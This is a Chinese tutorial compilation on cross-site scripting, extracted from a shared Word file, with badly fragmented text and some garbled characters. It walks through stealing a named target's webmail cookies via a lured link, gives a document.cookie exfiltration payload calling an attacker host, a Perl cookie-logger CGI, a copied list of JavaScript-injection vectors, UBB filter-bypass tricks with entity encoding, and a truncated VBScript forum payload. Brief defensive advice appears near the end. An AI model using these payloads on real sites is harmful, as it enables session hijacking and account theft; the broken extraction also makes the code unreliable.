跨站脚本说明Word文档格式.docx
- 文档编号:8465435
- 上传时间:2023-05-11
- 格式:DOCX
- 页数:16
- 大小:31.69KB
跨站脚本说明Word文档格式.docx
《跨站脚本说明Word文档格式.docx》由会员分享,可在线阅读,更多相关《跨站脚本说明Word文档格式.docx(16页珍藏版)》请在冰点文库上搜索。
下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面
里。
当然方法很多
page=<
script>
alert('
XSS_Vuln_Testing'
)<
/sc
ript>
当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"
XSS_Vuln_Testing"
?
这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。
下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理
,
就直接写入404error页面中,结果创建了一个页面,如下:
<
html>
b>
404<
/b>
-<
/script>
NotFound!
/html>
其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。
如何利用XSS来完成hacking?
如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入
一个
html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入
到
该html文件里。
其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。
事例:
假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的
目标是b00b这个人。
www.myemailserver.tld/cgi-bin/news.cgi?
article=59035
把上面存在CSS漏洞的连接修改一下:
article=hax0red
这会创建了一个错误页面,我们得到如下信息:
InvalidInput!
[article=hax0red]
当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。
article=<
test'
并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对
进行有效过滤,所以在页面发回到浏览器并执行了该脚本
。
下面我们瞧瞧如何利用该漏洞入侵b00b同志的邮箱,首先你必须知道b00b的email地址,
并且知道cookies的作用。
那么你可以告诉b00b一个恶意的连接,嘿嘿,当然
它的用意就是从b00b机器中cookie信息里获得自己想要的东东。
想办法让b00b访问myemailserver.tld站点发表的文章,比如说:
”亲爱的b00b,看看这个美
女
如何呀?
”
那么当可怜的b00b访问www.myemailserver.tld/cgi-bin/news.cgi?
偷取
并保存cookie的脚本
连接时,发生什么事情?
cookie都有了,你该知道怎么办了吧!
如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,
然后引导用户登陆你的恶意系统页面
这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,
那些笨蛋并不会意识到实际发生的事情。
把javascript脚本插入WEB页面的不同方法:
snip>
拷贝自:
GOBBLESSECURITYADVISORY#33
Hereisacut-n-pastecollectionoftypicalJavaScript-injectionhacks
youmayderivesomegleefromplayingwith.
ahref="
javascript#[code]"
>
divonmouseover="
[code]"
imgsrc="
javascript:
imgdynsrc="
[IE]
inputtype="
image"
dynsrc="
bgsoundsrc="
&
[code]<
{[code]};
[N4]
imgsrc=&
linkrel="
stylesheet"
href="
iframesrc="
vbscript:
mocha:
livescript:
about:
metahttp-equiv="
refresh"
content="
0;
url=javascript:
bodyonload="
divstyle="
background-image:
url(javascript:
[code]);
behaviour:
url([linktocode]);
binding:
[Mozilla]
width:
expression([code]);
styletype="
text/javascript"
/style>
objectclassid="
clsid:
..."
codebase="
style>
!
--<
[code]//-->
[CDATA[<
--]]>
------>
blah"
onmouseover="
blah>
onmouseover="
xmlsrc="
xmlid="
X"
a>
;
/a>
/xml>
divdatafld="
b"
dataformatas="
html"
datasrc="
#X"
/div>
[\xC0][\xBC]script>
[code][\xC0][\xBC]/script>
[UTF-8;
IE,Opera]
----CopiedfromGOBBLESSECURITYADVISORY#33----
/snip>
一个真正的获取cookie并且做记录的例子:
要使它工作,你的浏览器必须允许接受http:
//website.tld站点发送的cookies,
当我测试下面的信息时,使用
javascript创建访问者的cookies,javascript脚本放在index.html文件中。
OK,下面假设http:
//website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:
http:
//website.tld/program.cgi?
input=<
eviljavascript>
我们创建这样一个连接:
document.location='
//yoursite
.tld
/cgi-bin/evil_cookie_logger.cgi?
'
+document.cookie<
然后让保存该站点cookie的用户访问这个连接:
这是我们的CGI脚本,它的作用就是对用户cookie做记录:
---------evil_cookie_logger.cgi-----------
#!
/usr/bin/perl
#evil_cookie_logger.cgi
#remotecookieloggingCGIcodedbyBrainRawt
#
#NOTE:
codedasaproofofconceptscriptwhentestingfor
#cross-sitescriptingvulnerabilities.
$borrowed_info=$ENV{'
QUERY_STRING'
};
$borrowed_info=~s/%([a-fA-F0-9][a-fA-F0-9])/pack("
C"
hex($1))/eg;
open(EVIL_COOKIE_LOG,"
evil_cookie_log"
)orprint"
Content-type:
text/html\n\nsomethingwentwrong\n"
printEVIL_COOKIE_LOG"
$borrowed_info\n"
print"
text/html\n\n"
close(EVIL_COOKIE_LOG);
------------------------------------------
该脚本首先通过$ENV{'
}获得cookie,打印到$borrowed_info变量里,
通过open(EVIL_COOKIE_LOG,"
),把cookie信息保存到evil_cookie_lo
g文件。
上面的javascript脚本,可能在一些浏览器或者站点上不能执行,
这仅仅是我在自己的站点上做测试用的。
如何防范XSS攻击?
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"
和"
可以把"
,"
转换为<
,>
由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,
这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"
="
对受害者来说不要访问包含<
字符的连接,一些官方的URL不会包括任何脚本元素。
谈跨站脚本攻击之综合篇
近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!
小则,弹点什么东东出来;
中则改改主页;
重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?
如果再加上该站的站长比较"
盲"
一些,岂不乱套了?
小小的一段代码就真的能使一个站点成这样?
好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点,比如留言板,论坛,或是含提交程序的站点.首先,讲一下最简单的疟竟セ?
td>
/td>
等HTML字符的过滤问题.
登陆过一个CGI制作站点.以原来ASP的眼光看CGI的站点,感觉CGI对脚本的过滤应该很好.于是做了最初的测试.在用户一栏中填写<
提交用户注册后发现并没提出非法字符的提示.注册完成后,点髯柿弦卜⑾忠趁姹湫瘟?
如在其他几个如国家,性别里填写也会出现同样的问题,那页面就没法看了.于是换了一个站点,再次提交<
出现了非法字符提示,看来站点是已经过滤的<
等HTML的脚本字符,那好,我们改用ASCII码替换<
如&
#60;
&
#62;
代替提交后再来看,又出现了上面页面变形的情况,看来非法过滤机制还不是很完善.更有甚者,我竟发现一个站点内的姓名栏填写时没有字数大小设置,没有过滤任何非法字符,如果我提交个什么恶意代码那还不成全了我?
简单的脚本攻击如<
等HTML格式的代码一定要过滤好,上面的一些站点还没牵扯到UBB就出问题了.那我们下面就开始重点讲一下UBB过滤漏洞的问题.UBB是论坛中用来替换HTML编辑的一种格式符号,如[b][/b]可以替换成HTML中的<
b>
/b>
..然而就是这一个替换问题,就成了跨站脚本攻击的最佳积聚地.测试了一个ASP留言版以及一个整站的程序代码:
初级问题:
[url]的过滤,在提交该代码时可以构建一个onmouseover函数的恶意代码,既然onmouseover可以生效,那还有什么办不到的?
一些原码程序在变换[url][/url]时,只是将[url]s2[/url]中的s2直接提交到<
ahref="
s2"
target=_blank>
S2<
/a>
中.看到如此转换我们可以使用相应的ASCII码中的&
#34;
来代替"
我们多提交一个"
然后在构建onmouseover函数进行操作,后果?
你应该知道!
P
[img]的过滤,这真的算是个老大难的问题.很早以前就是[img]的脚本攻击流行一时啊.这次测试中,很多站点还是仍然存在这个漏洞.有点程序根本没有进行过滤.尤其是一些免费留言板的提供站点很多都存在这样的问题.下面我们主要将一下[IMG]标签的问题:
很简单的[img]javascript:
alert();
[/img]提交后转换成的代码为<
imgsrc="
好,到这里我们就可以看到javascript:
被<
标签激活了.表现就是弹出对话框.上面写着你在()中要提交的东西.如document.cookie呵呵..大多数人都应该知道这东西是做什么.更有甚者,使用document.write();
函数,可以写网页.写什么?
当然是恶意代码,如[img]javascript:
document.write();
[/img].()中间加你要加的,写你要写的,想多危险就多危险.
高级问题:
由于[img]的初级问题骚扰很多站点就对一个敏感的字符开始过滤.如ja连接,do连接,wr连接,提交后自动分为ja,do,wr.或是对字符进行过滤java,document,等等.而这些只能难倒一小部分人.我们仍然可以利用ASCII码来代替.可能有人会对代替后的代码仍然不能正常显示而困惑.好,我们下面以一个完整的例子介绍:
某站点UBB过滤代码段如下:
%
Functioncode_ssstrers)
dimstrer:
strer=strers
ifstrer="
orisnull(strer)thencode_ss"
exitfunction
strer=replace(strer,"
"
)
"
)'
空格
strer=replace(strer,CHR(9),"
table
单引号
双引号
dimre,re_v
re_v="
[^\(\)\;
\[]*"
.[^\[]*"
Setre=newRegExp
re.IgnoreCase=True
re.Global=True
re.Pattern="
(javascript"
strer=re.Replace(strer,"
javascript:
(javascript)"
javascript"
(jscript"
jscript:
(js"
js:
(value)"
value"
(about"
about:
(file"
file&
(document.)"
document:
(vbscript"
(vbs"
vbs:
(on(mouse|exit|error|click|key))"
on$2"
能看懂ASP的朋友,就可以看出,以上代码段对javascript,jscript:
js:
about;
value,document.,onmouse以及onexit等语句进行了过滤和替换.并对一些特殊字符进行了替换.如"
."
("
)"
[替换代码为"
中间的"
..仔细观察代码后我们会发现其过滤机制⒎窍胂胂蟮哪茄昝?
提交:
[mg]&
#176&
#93&
#118&
#97&
#115&
#79rip&
#106&
#57documen&
#76write&
#30&
#29哈哈又被黑了&
#29&
#61&
#29[/mg]类似代码就可以实现更高级的脚本攻击.注:
由于很多站点仍存在此问题,所以将代码修改过,无攻击性了.
打开你的FT2000,使用文本编辑,你可以找到任何特殊字符所属的ASCII码.如:
分号;
可以代替为&
#59,句点.可以代替为&
#46,以这样的形式我们再次提交代码.果然,上面整个的过滤机制几乎完全失效了.根本没起到什么防御作用.
看了以上的攻击方法,是不是觉得很郁闷?
如果才能避免上面的问题发生?
1.如果你的站点程序含论坛,留言板,以及其他程序中含提交数据格式的,没有很好过滤机制,请马上下载升级程序或是停止使用.避免造成更多的问题.
2.各提供免费论坛,免费申请留言板的站,请将UBB格式关闭.或找到更好的解析UBB.ASP程序页.
3.对一些会编写ASP的朋友,我建议大家过滤一下字符全部字符将写在[]中)如:
["
|.|;
|:
|\|/|&
|$|#|`|)|,|'
|"
|-|~|[|(||]注:
其中|为分割符
完美的解决跨站脚本弹框框
完美的解决跨站脚本得COOKIE弹框框的问题
同时把密码用户名发到你在论坛的邮相里,爽吧
先头看到欲望之翼的self.window的办法
其实我一直有个从来没给任何人说的办法:
玩了好久了公布了呵呵:
script
language=vbs>
sub
changeq()
if
form1.loc.value="
or
form1.who.value="
then
msgbox
没有加入地址或用户名?
exit
end
loc=form1.loc.value
user=form1.who.value
str="
[img]vbscript:
execute("
on
error
resume
next:
call
document.body.inse
rtAdjacentHTML("
beforeEnd"
div
style=display:
none&
gt;
iframe
id=sendmessage>
/iframe>
):
se
ndmessage.window.open("
loc
/messanger.asp?
action=send&
touser="
user
title="
+mid(
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 脚本 说明